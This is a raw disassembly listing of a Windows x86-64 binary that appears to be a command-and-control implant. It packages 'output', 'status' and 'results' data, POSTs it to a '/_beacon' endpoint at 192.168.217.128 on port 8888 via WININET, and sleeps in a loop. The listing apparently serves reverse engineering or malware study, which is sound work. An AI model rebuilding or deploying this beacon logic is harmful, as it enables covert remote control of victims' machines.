mov qword [rsp + 0x48], r15
lea rdx, str.output
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
call fcn.140003a00
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x250]
call fcn.140007070
mov edx, dword [rbp]
mov rcx, r14
mov dword [rbp + 0x258], 3
call fcn.1400014e0
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140006d50
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.140007070
xor r14d, r14d
mov dword [rbp + 0x268], 3
xorps xmm0, xmm0
mov qword [rsp + 0x40], r14
lea rdx, str.status
mov qword [rsp + 0x48], r14
lea rcx, [rsp + 0x30]
lea r8d, [r14 + 6]
movups xmmword [rsp + 0x30], xmm0
call fcn.140003a00
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x270]
call fcn.140007070
mov eax, dword [0x14003fc68]
lea rdx, [rsp + 0x30]
xorps xmm0, xmm0
mov dword [rbp + 0x278], 3
movups xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x30], ax
lea rcx, [rbp + 0x290]
movzx eax, byte [0x14003fc6a]
mov byte [rsp + 0x32], al
mov dword [rbp + 0x280], r14d
mov dword [rbp + 0x288], 5
mov qword [rsp + 0x40], 3
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x33], r14b
call fcn.140007070
lea rax, [rbp + 0x230]
mov dword [rbp + 0x298], 3
mov qword [rbp + 0x1f0], rax
lea rdx, [rbp + 0x1f0]
lea rax, [rbp + 0x2b0]
mov dword [rbp + 0x2a0], r14d
lea rcx, [rbp + 0x128]
mov qword [rbp + 0x1f8], rax
mov dword [rbp + 0x2a8], 5
call fcn.140007200
mov edi, 8
lea rbx, [rbp + 0x2b0]
nop dword [rax + rax]
mov ecx, dword [rbx - 8]
lea rbx, [rbx - 0x10]
dec rdi
sub ecx, 1
je 0x140013271
sub ecx, 1
je 0x14001325d
cmp ecx, 1
jne 0x140013283
mov rcx, qword [rbx]
test rcx, rcx
je 0x140013283
mov edx, 1
call fcn.140008600
jmp 0x140013283
mov rcx, qword [rbx]
test rcx, rcx
je 0x140013283
mov edx, 1
call fcn.140008740
jmp 0x140013283
mov rcx, qword [rbx]
test rcx, rcx
je 0x140013283
mov edx, 1
call fcn.140008790
test rdi, rdi
jne 0x140013230
mov eax, dword [0x14003fcf4]
lea rdx, [rsp + 0x30]
xorps xmm0, xmm0
mov qword [rsp + 0x40], 3
movups xmmword [rsp + 0x30], xmm0
mov word [rsp + 0x30], ax
lea rcx, [rbp + 0x180]
movzx eax, byte [0x14003fcf6]
mov byte [rsp + 0x32], al
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x33], r14b
call fcn.140007070
cmp qword [rbp + 0x170], 0x10
lea rdi, [rbp + 0x158]
mov rsi, qword [rbp + 0x168]
movabs rax, 0x7fffffffffffffff
cmovae rdi, qword [rbp + 0x158]
xorps xmm0, xmm0
mov dword [rbp + 0x188], 3
mov qword [rsp + 0x60], r14
movups xmmword [rsp + 0x50], xmm0
cmp rsi, rax
ja 0x140013c26
mov qword [rsp + 0x68], 0xf
cmp rsi, 0x10
jae 0x140013334
movups xmm0, xmmword [rdi]
mov qword [rsp + 0x60], rsi
movups xmmword [rsp + 0x50], xmm0
jmp 0x140013370
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.14000a090
lea rcx, [rsp + 0x50]
mov rbx, rax
lea rdx, [rax + 1]
call fcn.140002150
lea r8, [rsi + 1]
mov qword [rsp + 0x50], rax
mov rdx, rdi
mov qword [rsp + 0x60], rsi
mov rcx, rax
mov qword [rsp + 0x68], rbx
call fcn.140017ef0
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x38]
call fcn.140001710
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.140007070
lea rcx, [rsp + 0x50]
mov dword [rbp + 0x198], 3
call fcn.140007c80
mov rax, qword [str.results]
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x1a0]
movzx eax, word [0x14003fdec]
mov word [rsp + 0x34], ax
movzx eax, byte [0x14003fdee]
mov byte [rsp + 0x36], al
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], 7
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x37], r14b
call fcn.140007070
mov r15d, dword [rbp + 0x130]
mov ecx, r15d
mov dword [rbp + 0x1a8], 3
sub ecx, 1
je 0x1400134a3
sub ecx, 1
je 0x140013451
cmp ecx, 1
je 0x14001342a
mov rdi, qword [rbp + 0x128]
mov qword [rbp + 0xf0], rdi
jmp 0x1400134d6
mov ecx, 0x20
call fcn.140013f1c
mov rdi, qword [rbp + 0x128]
test rax, rax
je 0x1400134cc
mov rdx, rdi
mov rcx, rax
call fcn.140001710
jmp 0x1400134cf
mov ecx, 0x28
call fcn.140013f1c
mov rdi, qword [rbp + 0x128]
test rax, rax
je 0x1400134cc
mov r8, qword [rdi + 0x18]
mov rcx, qword [rdi]
mov rdx, qword [rdi + 0x20]
add rdx, r8
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x60], rdx
lea rdx, [rbp + 8]
mov qword [rbp + 0x18], r8
lea r8, [rsp + 0x50]
mov qword [rbp + 8], rcx
mov rcx, rax
mov qword [rsp + 0x58], r14
mov qword [rbp + 0x10], r14
call fcn.140002a20
jmp 0x1400134cf
mov ecx, 0x10
call fcn.140013f1c
mov rdi, qword [rbp + 0x128]
test rax, rax
je 0x1400134cc
mov rdx, qword [rdi]
mov rcx, rax
mov r8, rdx
mov rdx, qword [rdx]
call fcn.140002b40
jmp 0x1400134cf
mov rax, r14
mov qword [rbp + 0xf0], rax
mov ecx, 0x28
mov dword [rbp + 0xf8], r15d
call fcn.140013f1c
mov rbx, rax
test rax, rax
je 0x14001351f
mov ecx, 0x10
mov qword [rax], r14
mov qword [rax + 8], r14
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], r14
call fcn.140013f1c
mov qword [rbp + 0xb0], rbx
mov qword [rax + 8], r14
mov qword [rbx], rax
mov qword [rax], rbx
jmp 0x140013526
mov qword [rbp + 0xb0], r14
lea rdx, [rbp + 0xf0]
mov dword [rbp + 0xb8], 2
lea rcx, [rbp + 0x350]
call fcn.140007100
mov edx, 2
lea rcx, [rbp + 0xb0]
mov rsi, rax
call fcn.140008b50
mov rbx, qword [rbp + 0xb0]
mov rdx, rsi
mov rcx, rbx
call fcn.140003ac0
mov rcx, rsi
call fcn.140007dc0
mov eax, dword [rbp + 0xb8]
lea rcx, [rbp + 0xf0]
mov dword [rbp + 0x1b8], eax
mov dword [rbp + 0xb8], r14d
mov qword [rbp + 0x1b0], rbx
mov qword [rbp + 0xb0], r14
call fcn.140007dc0
lea rax, [rbp + 0x180]
mov qword [rbp + 0x200], rax
lea rdx, [rbp + 0x200]
lea rax, [rbp + 0x1c0]
lea rcx, [rbp + 0xc0]
mov qword [rbp + 0x208], rax
call fcn.140007200
mov r14d, 4
lea rbx, [rbp + 0x1c0]
nop word [rax + rax]
mov ecx, dword [rbx - 8]
lea rbx, [rbx - 0x10]
dec r14
sub ecx, 1
je 0x140013640
sub ecx, 1
je 0x14001360d
cmp ecx, 1
jne 0x140013652
mov rcx, qword [rbx]
test rcx, rcx
je 0x140013652
mov edx, 1
call fcn.140008600
jmp 0x140013652
mov rsi, qword [rbx]
test rsi, rsi
je 0x140013652
mov rcx, rsi
call fcn.14000d570
mov rcx, qword [rsi]
mov edx, 0x10
mov qword [rsi], 0
call fcn.140013f58
mov edx, 0x28
mov rcx, rsi
call fcn.140013f58
jmp 0x140013652
mov rcx, qword [rbx]
test rcx, rcx
je 0x140013652
mov edx, 1
call fcn.140008790
test r14, r14
jne 0x1400135e0
xorps xmm0, xmm0
mov qword [rbp - 0x60], 2
movups xmmword [rbp - 0x70], xmm0
mov esi, 0x2020
mov byte [rbp - 0x6e], r14b
lea r9, [rbp - 0x70]
mov word [rbp - 0x70], si
lea r8d, [r14 + 1]
mov qword [rbp - 0x58], 0xf
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xc0]
call fcn.14000e2b0
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400136a1
mov rbx, qword [rax]
xorps xmm0, xmm0
mov qword [rsp + 0x60], 2
movups xmmword [rsp + 0x50], xmm0
lea r9, [rsp + 0x50]
mov word [rsp + 0x50], si
mov r8d, 1
mov byte [rsp + 0x52], 0
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x68], 0xf
lea rcx, [rbp + 0xc0]
call fcn.14000e2b0
mov rdx, rbx
lea rcx, str.WhoAreYou
mov r8d, dword [rax + 0x10]
call fcn.140002630
mov r8, qword [rsp + 0x48]
mov rbx, rax
cmp r8, 0x10
jb 0x140013714
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x30]
inc r8
call fcn.14000de20
mov r8, qword [rbp - 0x78]
xor r14d, r14d
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], r14b
cmp r8, 0x10
jb 0x140013746
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x70]
inc r8
call fcn.14000de20
xorps xmm0, xmm0
mov qword [rbp - 0x80], r14
movups xmmword [rsp + 0x50], xmm0
lea r9, [rsp + 0x50]
mov word [rsp + 0x50], si
mov r8d, 1
mov byte [rsp + 0x52], r14b
lea rdx, [rbp - 0x70]
mov qword [rbp - 0x78], 0xf
lea rcx, [rbp + 0xc0]
mov byte [rsp + 0x70], r14b
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x68], 0xf
call fcn.14000e2b0
mov rcx, rbx
mov edx, dword [rax + 0x10]
call fcn.1400014e0
mov r8, qword [rbp - 0x58]
mov rbx, rax
cmp r8, 0x10
jb 0x1400137be
mov rdx, qword [rbp - 0x70]
lea rcx, [rbp - 0x70]
inc r8
call fcn.14000de20
lea r9, str.POST
mov qword [rbp - 0x60], r14
lea r8, str._beacon
mov qword [rbp - 0x58], 0xf
mov edx, 0x22b8
mov byte [rbp - 0x70], r14b
lea rcx, str.192.168.217.128
mov qword [rsp + 0x20], rbx
call fcn.1400024c0
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [rbp + 0xc8]
sub ecx, 1
je 0x140013853
sub ecx, 1
je 0x140013828
cmp ecx, 1
jne 0x14001388b
mov rcx, qword [rbp + 0xc0]
test rcx, rcx
je 0x14001388b
mov edx, 1
call fcn.140008600
jmp 0x14001388b
mov rbx, qword [rbp + 0xc0]
test rbx, rbx
je 0x14001388b
mov rcx, rbx
call fcn.14000d570
mov rcx, qword [rbx]
mov edx, 0x10
mov qword [rbx], r14
call fcn.140013f58
mov edx, 0x28
jmp 0x140013883
mov rbx, qword [rbp + 0xc0]
test rbx, rbx
je 0x14001388b
mov r8, qword [rbx]
mov rdx, rbx
mov rcx, rbx
mov r8, qword [r8 + 8]
call fcn.140003b50
mov rcx, qword [rbx]
mov edx, 0x50
call fcn.140013f58
mov edx, 0x10
mov rcx, rbx
call fcn.140013f58
sub r15d, 1
je 0x1400138d3
sub r15d, 1
je 0x1400138af
cmp r15d, 1
jne 0x140013904
test rdi, rdi
je 0x140013904
mov edx, r15d
mov rcx, rdi
call fcn.140008600
jmp 0x140013904
test rdi, rdi
je 0x140013904
mov rcx, rdi
call fcn.14000d570
mov rcx, qword [rdi]
mov edx, 0x10
mov qword [rdi], r14
call fcn.140013f58
mov edx, 0x28
jmp 0x1400138fc
test rdi, rdi
je 0x140013904
mov r8, qword [rdi]
mov rdx, rdi
mov rcx, rdi
mov r8, qword [r8 + 8]
call fcn.140003b50
mov rcx, qword [rdi]
mov edx, 0x50
call fcn.140013f58
mov edx, 0x10
mov rcx, rdi
call fcn.140013f58
cmp r13, 0x10
jb 0x14001393c
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140013934
mov r12, qword [r12 - 8]
add rdx, 0x27
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013c20
mov rcx, r12
call fcn.140013f58
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0x10
jb 0x14001397a
mov rcx, qword [rbp - 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013975
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013c20
call fcn.140013f58
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x1400139bb
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400139b6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013c20
call fcn.140013f58
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x1400139fc
mov rcx, qword [rbp + 0x100]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400139f7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013c20
call fcn.140013f58
mov rdx, qword [rbp + 0x98]
mov qword [rbp + 0x110], r14
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], r14b
cmp rdx, 0x10
jb 0x140013a56
mov rcx, qword [rbp + 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013a51
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013c20
call fcn.140013f58
inc dword [rbp - 0x48]
jmp 0x1400123f0
imul ecx, dword [rbp + 0xa0], 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [rbp + 0x5d8]
sub ecx, 1
je 0x140013af4
sub ecx, 1
je 0x140013ad5
cmp ecx, 1
jne 0x140013b20
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x140013abe
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x140013ab9
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140013c44
mov rcx, r8
call fcn.140013f58
mov qword [r14 + 0x10], rsi
mov edx, 0x20
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
jmp 0x140013b18
mov rcx, r14
call fcn.14000d570
mov rcx, qword [r14]
mov edx, 0x10
mov qword [r14], rsi
call fcn.140013f58
mov edx, 0x28
jmp 0x140013b18
mov r8, qword [r14]
mov rdx, r14
mov rcx, r14
mov r8, qword [r8 + 8]
call fcn.140003b50
mov rcx, qword [r14]
mov edx, 0x50
call fcn.140013f58
mov edx, 0x10
mov rcx, r14
call fcn.140013f58
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140013b5b
mov rcx, qword [rbp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013b56
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013c44
call fcn.140013f58
mov ecx, dword [rbp + 0x30]
xor r14d, r14d
mov qword [rbp + 0x70], r14
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], r14b
sub ecx, 1
je 0x140013bd6
sub ecx, 1
je 0x140013b9f
cmp ecx, 1
jne 0x140011e66
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x140011e66
lea edx, [r14 + 1]
call fcn.140008600
jmp 0x140011e66
mov rbx, qword [rbp + 0x28]
test rbx, rbx
je 0x140011e66
mov rcx, rbx
call fcn.14000d570
mov rcx, qword [rbx]
mov edx, 0x10
mov qword [rbx], r14
call fcn.140013f58
mov edx, 0x28
mov rcx, rbx
call fcn.140013f58
jmp 0x140011e66
mov rbx, qword [rbp + 0x28]
test rbx, rbx
je 0x140011e66
mov r8, qword [rbx]
mov rdx, rbx
mov rcx, rbx
mov r8, qword [r8 + 8]
call fcn.140003b50
mov rcx, qword [rbx]
mov edx, 0x50
call fcn.140013f58
mov edx, 0x10
mov rcx, rbx
call fcn.140013f58
jmp 0x140011e66
call fcn.14001d24c
int3
call fcn.14001d24c
int3
call fcn.14001d24c
int3
call fcn.140002110
int3
call fcn.140002110
int3
call fcn.140002110
int3
call fcn.14000d4d0
int3
call fcn.14000d4d0
int3
call fcn.14001d24c
int3
call fcn.14000d4d0
int3